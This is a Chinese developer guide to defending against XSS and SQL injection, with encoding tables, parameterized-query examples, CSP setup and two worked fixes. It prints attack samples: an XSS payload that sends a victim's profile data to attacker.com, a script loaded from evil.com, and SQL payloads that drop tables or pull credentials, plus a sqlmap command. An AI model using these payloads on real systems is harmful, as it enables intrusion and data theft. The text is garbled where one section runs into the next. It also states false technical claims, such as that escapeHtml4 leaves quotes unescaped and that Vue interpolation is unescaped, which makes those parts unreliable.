1. 这不是“黑客教程”,而是一份给开发者的防御自查清单
你打开一个网页,输入框里敲下<script>alert(1)</script>,回车——弹窗了。
你点开商品列表页,URL里悄悄加上?id=1%27%20OR%201%3D1--,页面突然把全库用户都列了出来。
这不是电影桥段,也不是渗透测试工程师的炫技现场,而是某次上线前夜,我在某高校实验室协助做安全复测时,亲眼看着一位刚转岗半年的前端同学,在自己写的搜索组件里亲手触发了反射型XSS;也是在同一家公司另一个项目中,后端同事用拼接SQL的方式处理用户传入的订单ID,被测试同学用一条构造参数直接拖出了管理员密码哈希。
XSS和SQL注入,这两个词在安全圈早已泛黄,在招聘JD里常年挂着“了解常见Web漏洞”这一行小字,但它们从未退场——据2024年OWASP Top 10最新数据,注入类漏洞仍稳居第2位,跨站脚本攻击位列第3,且在中小型项目、内部管理系统、教育平台等非高安全等级场景中,实际发生率反而更高。原因很实在:它们不依赖0day,不挑战内核,只利用开发者对“用户输入”的一次轻信、一次偷懒、一次“应该没问题”的侥幸。
这篇内容不教你怎么黑进系统,也不堆砌RFC文档里的抽象定义。它是一份我过去三年在多个真实项目中反复打磨、验证、推翻再重建的防御实操手册。它面向的是每天和Vue/React写交互、和Spring Boot写接口、和MySQL写查询的普通开发者——你不需要懂Burp Suite的Intruder模块,但需要知道为什么v-html不能直接渲染用户评论;你不需要会写正则绕过WAF,但必须清楚PreparedStatement的占位符到底替换了什么、又没替换什么。
核心关键词就两个:XSS(跨站脚本攻击)和SQL注入攻击。全文所有案例、配置、代码片段,全部围绕这两个点展开,不发散、不炫技、不讲理论推导,只讲“你今天下午改完就能上线生效”的动作。适合两类人:一是刚接触安全概念的初级开发者,能照着步骤堵住手头项目的漏洞;二是有经验的工程师,用来快速核对团队当前的防护水位是否达标。下面进入正题。
2. 攻击本质拆解:不是“代码执行”,而是“信任错位”
2.1 XSS的本质:浏览器替你执行了不该执行的JS
很多人把XSS简单理解为“别人能在我网页上跑JS”,这没错,但太浅。真正致命的是执行上下文的错位。
举个最基础的例子:一个新闻网站的搜索页,URL形如https://example.com/search?q=苹果,服务端收到q参数后,不做任何处理,直接拼进HTML返回:
<h2>搜索结果:苹果</h2> <p>共找到 12 篇相关文章</p>这时,如果用户搜的是q=<img src=x onerror=alert(1)>,服务端原样返回:
<h2>搜索结果:<img src=x onerror=alert(1)></h2> <p>共找到 12 篇相关文章</p>浏览器解析HTML时,<img>标签被创建,onerror事件触发,alert(1)在当前域名的上下文中执行——这意味着它能读取当前页面的Cookie、调用fetch发请求、甚至操作DOM窃取其他用户输入。
关键点来了:这段JS不是服务器主动下发的业务逻辑,而是浏览器把用户输入当成了HTML结构的一部分来解析。问题根源不在alert(1)本身,而在于服务端把不可信的输入,未经消毒就混入了HTML骨架。
我见过最典型的信任错位发生在富文本编辑器场景。某教育平台允许老师上传课件描述,后端用dangerouslySetInnerHTML(React)或v-html(Vue)直接渲染。老师输入一段正常文字,系统存进数据库;但攻击者伪造一个老师账号,提交:
<div onclick="fetch('/api/user/profile',{credentials:'include'}).then(r=>r.json()).then(d=>fetch('https://attacker.com/log?data='+btoa(JSON.stringify(d))))">点击查看详情</div>只要其他老师或学生点击查看这条课件,他们的登录态Cookie就会被悄悄发往攻击者服务器。这里,系统信任了“老师”身份,却忘了“老师输入的内容”依然属于不可信输入范畴——权限认证不等于输入可信。
提示:XSS的三种类型(反射型、存储型、DOM型)区别仅在于恶意脚本的注入点和触发路径,但防御逻辑高度一致:所有用户输入,进入HTML、JS、CSS上下文前,必须做上下文敏感的编码或过滤。不存在“这个输入是搜索词,所以可以少防一点”的说法。
2.2 SQL注入的本质:数据库把你的SQL当成了命令
SQL注入常被误解为“数据库执行了恶意SQL”,其实更准确的说法是:数据库忠实地执行了你拼出来的那条SQL,而你拼的时候,把用户输入当成了数据,数据库却把它当成了命令的一部分。
看一个经典例子。某电商后台有订单查询接口,后端Java代码这样写:
String sql = "SELECT * FROM orders WHERE user_id = " + userId; // userId 来自HTTP请求参数,未做校验 List<Order> orders = jdbcTemplate.query(sql, new OrderRowMapper());当userId是123时,SQL是:
SELECT * FROM orders WHERE user_id = 123一切正常。但当userId是123 OR 1=1时,SQL变成:
SELECT * FROM orders WHERE user_id = 123 OR 1=11=1恒真,于是查出全表订单。更危险的是123; DROP TABLE users; --:
SELECT * FROM orders WHERE user_id = 123; DROP TABLE users; --分号结束前一条语句,DROP TABLE执行删库,--注释掉后面可能存在的校验逻辑。
这里的关键错位在于:开发者意图是让userId作为数据值参与查询,但字符串拼接使它变成了SQL语法的一部分。数据库没有“判断这是不是恶意代码”的功能,它只负责执行符合语法的指令。
我踩过的最深的坑,是在一个用MyBatis的项目里。同事认为用了#{}就绝对安全,于是在动态SQL中这样写:
<select id="searchOrders" resultType="Order"> SELECT * FROM orders WHERE status = #{status} <if test="userId != null"> AND user_id = ${userId} <!-- 注意这里是${},不是#{} --> </if> </select>#{}会预编译成占位符,安全;但${}是直接字符串替换!当userId传入123 UNION SELECT username,password FROM users时,SQL被拼成:
SELECT * FROM orders WHERE status = ? AND user_id = 123 UNION SELECT username,password FROM users全库用户凭证瞬间暴露。框架的“安全特性”只覆盖你正确使用它的部分,一旦用错符号、绕过封装,防护就形同虚设。
注意:SQL注入不仅发生在
SELECT,INSERT、UPDATE、DELETE甚至存储过程中都可能出现。只要用户输入参与了SQL语句的拼接,风险就存在。
3. 防御方案落地:从“能用”到“可靠”的四层加固
3.1 第一层:输入验证——不是万能的,但必须做
输入验证是防御的第一道门,但它解决不了所有问题,也不能替代后续环节。它的价值在于快速拦截明显畸形的输入,降低后续处理负担,并为日志审计提供明确标记。
原则:白名单优于黑名单。
- 黑名单(如“过滤
<script>”)永远追不上攻击者变种(<ScRiPt>、<img/onerror=...>、Unicode编码绕过)。 - 白名单(如“用户名只允许字母数字下划线,长度3-16”)定义清晰,无歧义。
实操中,我按字段类型分三类处理:
严格格式字段(ID、手机号、邮箱):
- 后端用正则强校验,不满足直接400错误。
- 例如订单ID:
^[a-zA-Z0-9]{8,16}$,拒绝任何含空格、特殊符号的输入。 - 前端同步校验(防误操作),但绝不依赖前端校验——它只是用户体验优化。
有限字符集字段(昵称、标题):
- 允许中文、英文字母、数字、常见标点(,。!?;:“”‘’()【】《》),但禁止HTML标签、JS事件、CSS样式关键字。
- 我常用Apache Commons Text的
StringEscapeUtils.escapeHtml4()先做基础转义,再用自定义正则剔除剩余危险字符:// Java示例:过滤昵称中的危险模式 String safeNickname = nickname.replaceAll("(?i)<[^>]*?(on\\w+|javascript|vbscript|data):", ""); safeNickname = safeNickname.replaceAll("(?i)expression\\s*\\(", "");
富文本字段(文章内容、评论):
- 绝不用正则清洗HTML——这是公认的反模式,正则无法正确解析嵌套标签。
- 必须用专业HTML净化库:Java用 Jsoup ,Node.js用 DOMPurify ,Python用 bleach 。
- Jsoup配置示例(只保留
<p><br><strong><em><ul><ol><li>等安全标签,移除所有on*事件和style属性):String cleanHtml = Jsoup.clean(dirtyHtml, Whitelist.relaxed() // 先用宽松白名单 .addTags("p", "br", "strong", "em", "ul", "ol", "li") .addAttributes(":all", "class") // 只允许class属性 .removeAttributes(":all", "onerror", "onclick", "onload", "style") // 移除危险属性 );
实操心得:输入验证阶段发现的异常请求,必须记录完整原始参数(脱敏后)到安全日志。我曾靠分析这类日志,提前发现了一个未公开的XSS利用链——攻击者在昵称里尝试注入
<svg/onload=...>,虽被Jsoup过滤,但日志显示高频出现该模式,提示存在针对性探测。
3.2 第二层:输出编码——XSS防御的核心命脉
如果说输入验证是“筛沙子”,输出编码就是“给沙子镀层膜”。它确保用户输入在进入不同执行上下文(HTML、JavaScript、CSS、URL)时,被正确转义,失去其原有语义。
关键原则:编码必须与输出上下文严格匹配。同一个输入,在HTML主体、HTML属性、JS字符串、URL参数中,编码方式完全不同。
我整理了一份常用场景的编码对照表,这是团队新人入职必背的“保命口诀”:
| 输出位置 | 示例代码 | 推荐编码方式 | 错误做法 | 为什么错 |
|---|---|---|---|---|
| HTML主体内容 | <div>用户输入:${input}</div> | org.apache.commons.text.StringEscapeUtils.escapeHtml4(input) | 不编码 | 输入<script>直接执行 |
| HTML属性值 | <input value="${input}"> | escapeHtml4(input)+额外双引号包裹 | 仅用escapeHtml4 | 输入" onclick="alert(1)会闭合属性并注入 |
| JavaScript字符串 | <script>var msg = "${input}";</script> | org.apache.commons.text.StringEscapeUtils.escapeEcmaScript(input) | escapeHtml4 | escapeHtml4不处理\和',导致JS语法破坏 |
| URL参数 | <a href="/search?q=${input}"> | URLEncoder.encode(input, "UTF-8") | escapeHtml4 | escapeHtml4不处理&、=,导致参数截断 |
重点说明HTML属性编码的陷阱:
很多开发者以为escapeHtml4就够了,但看这个例子:
<input type="text" name="q" value="${input}">如果input是" onclick="alert(1),escapeHtml4后变成" onclick="alert(1),最终HTML为:
<input type="text" name="q" value="" onclick="alert(1)">浏览器解析时,value="..."的引号被闭合,onclick成为新属性,alert(1)被执行。
正确做法:
- 属性值必须用双引号或单引号严格包裹;
- 对属性值内容,先用
escapeHtml4,再确保引号不被突破(如强制用双引号包裹,输入中单引号无需额外处理); - 更彻底的方案:避免在HTML属性中直接插入用户输入,改用
>// ❌ 危险:字符串拼接 String sql = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'"; Statement stmt = connection.createStatement(); ResultSet rs = stmt.executeQuery(sql); // ✅ 安全:参数化查询 String sql = "SELECT * FROM users WHERE username = ? AND password = ?"; PreparedStatement pstmt = connection.prepareStatement(sql); pstmt.setString(1, username); // 数据绑定,不参与SQL解析 pstmt.setString(2, password); ResultSet rs = pstmt.executeQuery();关键点在于:
?占位符告诉数据库“这里是一个待填入的数据值”,数据库在预编译阶段就确定了SQL结构,运行时只把username和password作为纯数据传入,无论它们内容是什么,都不会改变SQL的语法树。即使username是admin' --,最终执行的也是:SELECT * FROM users WHERE username = 'admin'' --' AND password = 'xxx'--被当作字符串字面量,而非注释符。但参数化查询有明确边界:
- ✅ 适用于
WHERE、VALUES、SET等数据值位置; - ❌不适用于表名、列名、排序字段、UNION子句等SQL结构部分。
例如动态表名查询:
// ❌ 绝对禁止! String tableName = request.getParameter("table"); String sql = "SELECT * FROM " + tableName + " WHERE status = ?";此时必须用白名单校验:
// ✅ 正确:白名单映射 Map<String, String> tableWhitelist = Map.of( "orders", "t_orders", "users", "t_users", "products", "t_products" ); String safeTable = tableWhitelist.getOrDefault(tableName, "t_orders"); String sql = "SELECT * FROM " + safeTable + " WHERE status = ?";ORM框架的注意事项:
- MyBatis:
#{}是参数化,${}是字符串替换,永远不要在用户输入处用${}; - Hibernate/JPA:
@Query注解中,?1、?2或@Param是安全的,但@Query(value = "SELECT * FROM #{tableName}")中的#{}是SpEL表达式,可执行任意Java代码,同样危险; - Laravel Eloquent:
where()、find()等方法默认参数化,但whereRaw()、DB::select()需手动检查。
实操心得:在代码审查中,我重点关注所有SQL拼接点。曾发现一个用
StringBuilder拼接IN子句的案例:"id IN (" + idsString + ")"。正确解法是用?占位符配合IN参数数量动态生成,或改用JDBC的setArray()(需数据库支持)。我们为此写了SonarQube自定义规则,检测"IN (" +.*+ ")"模式并告警。3.4 第四层:内容安全策略(CSP)——最后的兜底防线
CSP(Content Security Policy)不是XSS的解决方案,而是XSS发生后的损害控制。它像一道防火墙,告诉浏览器:“只允许从这些可信源加载脚本、样式、图片,其他一律拒绝”。
即使XSS漏洞存在,CSP也能阻止恶意脚本执行。例如,一个反射型XSS注入了
<script src="http://evil.com/xss.js"></script>,但若CSP头设置为:Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'浏览器会拒绝加载
http://evil.com/xss.js,因为evil.com不在script-src白名单中。CSP配置要点:
default-src 'self':默认只允许同源资源;script-src:严格限制JS来源,禁用'unsafe-inline'和'unsafe-eval'(内联脚本和eval是XSS高发区);style-src:同理,禁用内联样式;img-src:可放宽至'self' data:,支持base64图片;connect-src:限制AJAX请求目标,防止XSS后外泄数据。
如何安全启用CSP:
- 报告模式先行:先用
Content-Security-Policy-Report-Only头,收集违规报告到指定Endpoint,分析真实业务需求; - 逐步收紧:从宽松策略开始(如允许
'unsafe-inline'),根据报告移除不必要的源; - 非对称密钥签名:对内联脚本(如Vue模板编译后的
<script>)用'sha256-...'哈希白名单,而非开放'unsafe-inline'。
CSP报告示例(JSON格式):
{ "csp-report": { "document-uri": "https://example.com/search?q=test", "violated-directive": "script-src", "blocked-uri": "http://evil.com/xss.js", "line-number": 1, "source-file": "https://example.com/search" } }实操心得:CSP不是“一劳永逸”,它需要持续维护。我们曾因CDN域名变更,忘记更新
script-src,导致线上JS加载失败。现在所有CSP配置都纳入CI/CD流水线,发布前自动校验域名有效性。另外,CSP对DOM型XSS(如location.hash触发)防护有限,必须结合encodeURIComponent等编码手段。4. 实战复现:从漏洞到修复的完整走查
4.1 案例一:搜索框反射型XSS(Vue项目)
漏洞场景:
某内部知识库前端用Vue 2开发,搜索结果页URL为/search?q=xxx,组件中直接用$route.query.q渲染到页面:<template> <div class="search-header"> <h1>搜索 "{{ $route.query.q }}" 的结果</h1> </div> </template>复现步骤:
- 访问
/search?q=<script>alert(document.cookie)</script>; - 页面弹窗,显示当前域名Cookie(含Session ID)。
根因分析:
$route.query.q是用户可控输入;<h1>标签内直接插值,Vue默认对{{ }}做HTML转义,但此处是属性插值,非文本插值,{{ }}在<h1>标签内被当作纯文本渲染,未转义。
修复方案:
- 首选:用
v-text指令(自动转义):<h1 v-text="'搜索 \"' + $route.query.q + '\" 的结果'"></h1> - 次选:手动转义后使用(需引入
he库):import he from 'he'; export default { computed: { safeQuery() { return he.escape(this.$route.query.q || ''); } } }<h1>搜索 "{{ safeQuery }}" 的结果</h1> - 终极:路由守卫校验(预防性):
// router/index.js router.beforeEach((to, from, next) => { if (to.query.q && /<[^>]*>/i.test(to.query.q)) { next({ path: '/400', query: { msg: '非法搜索词' } }); } else { next(); } });
验证效果:
- 输入
<script>alert(1)</script>,页面显示文字搜索 "<script>alert(1)</script>" 的结果; - 查看页面源码,
<script>被转义为<script>; - CSP头已配置,即使绕过前端,
alert也无法执行。
4.2 案例二:用户中心SQL注入(Spring Boot + MyBatis)
漏洞场景:
某SaaS平台用户中心,提供“按邮箱模糊查询”功能。后端接口:@GetMapping("/users") public List<User> searchUsers(@RequestParam String email) { return userMapper.searchByEmail(email); // MyBatis XML映射 }MyBatis XML:
<select id="searchByEmail" resultType="User"> SELECT * FROM users WHERE email LIKE '%${email}%' </select>复现步骤:
- 发送GET请求:
/users?email=a%25'%20OR%20'1'%3D'1(URL解码后:a%' OR '1'='1); - SQL变为:
SELECT * FROM users WHERE email LIKE '%a%' OR '1'='1%'; OR '1'='1'恒真,返回全表用户。
根因分析:
${email}是MyBatis的字符串替换,非参数化;LIKE语句中%是通配符,但攻击者用%闭合了单引号,注入了OR逻辑。
修复方案:
立即替换
${}为#{}:<select id="searchByEmail" resultType="User"> SELECT * FROM users WHERE email LIKE CONCAT('%', #{email}, '%') </select>CONCAT函数由数据库执行,#{email}作为参数传入,安全。增强输入校验(防御纵深):
@GetMapping("/users") public List<User> searchUsers(@RequestParam String email) { // 邮箱格式校验 if (!email.matches("^[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\\.[A-Za-z]{2,}$")) { throw new IllegalArgumentException("邮箱格式错误"); } // 长度限制 if (email.length() > 100) { throw new IllegalArgumentException("邮箱过长"); } return userMapper.searchByEmail(email); }数据库层面加固(最小权限):
- 创建专用查询用户,只授予
SELECT权限,禁用DROP、INSERT等; - 对
users表,撤销SELECT权限,只授予视图v_safe_users(隐藏敏感字段如password_hash)。
- 创建专用查询用户,只授予
验证效果:
- 输入
a%' OR '1'='1,SQL为:SELECT * FROM users WHERE email LIKE CONCAT('%', 'a%'' OR ''1''=''1', '%'); - 查询条件变为
email LIKE '%a%'' OR ''1''=''1%',无语法错误,但无匹配结果; - 数据库日志显示,该用户无
DROP权限,DROP TABLE语句被拒绝。
5. 常见问题与排查技巧实录
5.1 XSS排查:从“弹窗了”到定位注入点的五步法
当测试同学告诉你“XSS弹窗了”,别急着改代码,先系统排查:
确认触发方式:
- 是URL参数(反射型)?还是存进数据库再读出(存储型)?或是
location.href拼接(DOM型)? - 方法:清空浏览器缓存,用隐身窗口重放Payload,观察URL变化和页面响应。
- 是URL参数(反射型)?还是存进数据库再读出(存储型)?或是
抓包看原始响应:
- 用浏览器DevTools的Network面板,找触发XSS的请求,查看Response的HTML源码;
- 关键:看Payload是否原样出现在HTML中,还是被转义了?出现在
<script>内?<img src>属性?href链接?
定位上下文:
- Payload在
<div>xxx</div>中 → HTML主体上下文; - 在
<input value="xxx">中 → HTML属性上下文; - 在
<script>var a="xxx"</script>中 → JavaScript字符串上下文; - 在
<a href="xxx">中 → URL上下文。
- Payload在
验证编码是否生效:
- 手动修改Payload,测试不同编码效果:
- HTML主体:
<script>→<script>; - HTML属性:
" onclick="x→" onclick="x; - JS字符串:
'→\'或\u0027。
- HTML主体:
- 手动修改Payload,测试不同编码效果:
检查CSP头:
- Response Headers中是否有
Content-Security-Policy? - 如果有,看
script-src是否包含'unsafe-inline'?如果没有,内联脚本本就不该执行。
- Response Headers中是否有
常见问题速查表:
现象 可能原因 排查命令/操作 alert(1)不弹,但console.log(1)执行了CSP禁用了 alert但允许console检查CSP头,或在DevTools Console中执行 alert(1)测试Payload在源码中显示为 <script>,但页面仍执行浏览器解析错误,或存在DOM型XSS二次渲染 搜索页面JS,查找 innerHTML、document.write、eval调用Vue/React项目中 v-html/dangerouslySetInnerHTML未触发XSS输入被框架自动转义,或CSP拦截 查看Network响应,确认原始HTML是否含未转义标签 5.2 SQL注入排查:从“查出全表”到锁定拼接点的三板斧
当SQL注入被触发,按此顺序排查:
日志溯源:
- 开启数据库慢查询日志或通用查询日志(生产环境谨慎);
- 搜索关键词:
OR 1=1、UNION SELECT、--、/*; - 定位到具体SQL语句和执行时间。
代码搜索:
- 全局搜索:
+ "SELECT、.concat(、StringBuilder.append(、"SELECT * FROM " +; - MyBatis项目:搜索
${(排除#{); - JPA项目:搜索
@Query、createNativeQuery(。
- 全局搜索:
动态调试:
- 在疑似拼接点打日志,打印拼接后的完整SQL(注意脱敏,不打密码等);
- 例如:
log.info("Final SQL: {}", sql);; - 对比日志中的SQL和数据库实际执行的SQL(用
EXPLAIN或SHOW PROCESSLIST)。
独家避坑技巧:
- 警惕“看似安全”的字符串拼接:如
"WHERE id IN (" + ids + ")",IDS可能是1,2,3,也可能是1,2,3 UNION SELECT ...; - ORM的“魔法方法”也可能拼接:如Rails的
find_by_sql、Django的extra(); - 存储过程不是免死金牌:如果存储过程中用了
EXEC(@sql),且@sql含用户输入,同样危险。
5.3 工具链推荐:不依赖商业产品,开源够用
XSS扫描:
- XSStrike :Python编写,支持多种绕过技术,比Burp免费版更准;
- 浏览器插件: XSS Validator (Chrome),右键一键检测。
SQL注入扫描:
- sqlmap :命令行神器,
sqlmap -u "http://target.com?id=1" --batch --risk=3 --level=5; - 注意:仅限授权测试,生产环境禁用。
- sqlmap :命令行神器,
代码审计:
- Semgrep :YAML规则引擎,可自定义检测
String sql = "SELECT" + input模式; - 规则示例:
rules: - id: dangerous-sql-concat patterns: - pattern: | String $SQL = "SELECT * FROM $TABLE WHERE $COL = " + $INPUT; message: "Dangerous SQL concatenation detected" languages: [java] severity: ERROR
- Semgrep :YAML规则引擎,可自定义检测
CSP调试:
- CSP Evaluator :Google出品,粘贴CSP头,自动分析宽松点;
- 浏览器Console:CSP违规会直接报错,点击可看详细信息。
最后分享一个小技巧:在开发环境,我习惯在全局HTTP拦截器中,对所有含
<script>、javascript:、on\w+=的请求参数,自动返回400并记录。这不会影响正常功能(因为生产环境有WAF),但能第一时间发现开发者的疏忽,比等测试报告快得多。 - ✅ 适用于